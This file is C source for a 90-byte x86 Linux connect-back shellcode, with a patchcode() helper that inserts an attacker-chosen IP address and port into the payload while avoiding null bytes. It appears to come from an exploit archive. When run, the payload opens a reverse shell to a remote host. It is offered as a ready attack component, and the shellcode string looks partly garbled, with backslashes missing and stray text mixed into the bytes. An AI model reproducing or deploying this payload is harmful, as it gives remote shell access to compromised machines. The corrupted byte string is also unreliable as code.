/*---------------------------------------------------------------------------*
 *                 90 byte Connect Back shellcode                            *
 *              by Russell Sanford - xort@tty64.org                          *
 *---------------------------------------------------------------------------*
 *    filename: x86-linux-connect-back.c                                     *
 *        info: Compiled with DTP Project.                                   *
 * discription: This is a x86-linux connect back shellcode. Just invoke      *
 * 		the function patchcode() before using shellcode. The format  *
 * 		for invoking patchcode is as follows:                        *
 *                                                                           *
 * 		patchcode(shellcode,"11.22.33.44",31337);                    *
 *---------------------------------------------------------------------------*/

char shellcode[] =
"x31xc0x6ax01x5bx50x53x6ax02x89xe1xb0x66xcdx80x5bx43x5fx68"
" xorx81x04x24t@ttx68y64.x81x04x24org x6ax10x51x50x89xe1xb0x66"
"xcdx80x5bx31xc9x6ax3fx58xcdx80x41x80xf9x03x75xf5x31xc0x50"
"x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x99xb0x0b"
"xcdx80xebxfe";

int find_safe_offset(int INT_A) {

	int INT_B=0;
	
	do {
		INT_A -= 0x01010101;	INT_B += 0x01010101;
	}
	while ( ((INT_A & 0x000000ff) == 0) || 
		((INT_A & 0x0000ff00) == 0) || 
		((INT_A & 0x00ff0000) == 0) ||
		((INT_A & 0xff000000) == 0) );

	return INT_B;
}

void patchcode(char *shellcode, char *IP, int PORT) {
	
	int IP_A = inet_addr(IP);
	int IP_B = find_safe_offset(IP_A);

	int PORT_A = ((ntohs(PORT) << 16) + 2);
	int PORT_B = find_safe_offset(PORT_A);	

	*(int *)&shellcode[19] = (IP_A - IP_B);
	*(int *)&shellcode[26] = IP_B;

	*(int *)&shellcode[31] = (PORT_A - PORT_B);
	*(int *)&shellcode[38] = PORT_B;
}

// www.Syue.com [2005-12-28]